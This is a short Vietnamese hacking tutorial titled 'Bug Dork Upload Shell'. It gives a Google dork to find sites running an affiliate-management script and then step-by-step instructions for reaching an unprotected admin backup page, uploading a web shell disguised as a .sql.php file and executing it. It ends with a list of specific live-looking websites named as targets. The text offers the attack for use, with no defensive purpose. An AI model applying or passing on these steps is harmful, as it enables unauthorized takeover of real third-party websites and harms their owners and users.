Bug Dork Upload Shell

B1. Sử dụng dork sau vào google

allinurl:"index.php?Act=Merchants"

B2. Chọn 1 victim bất kỳ

http://www.vhmnetwork.com/index.php?Act=Merchants

B3. Thay đường path trên thành:

http://www.vhmnetwork.com/admin/backupstart.php

B4. Up shell có dang .sql.php, ví dụ: byg.sql.php

B5. Vào đường link sau để run shell



http://www.vhmnetwork.com/admin/dump/byg.sql.php




Một số site tìm được với dork trên:

http://www.vhmnetwork.com/admin/backupstart.php  
http://www.commissionadda.in/admin/backupstart.php 
http://revenueticket.com/affiliates/admin/backupstart.php
http://acrdo.co.uk/admin/backupstart.php  
http://www.ig-affiliate.com/admin/backupstart.php
http://www.jig-saw.dk/admin/backupstart.php  
http://thinkmobimedia.com/admin/backupstart.php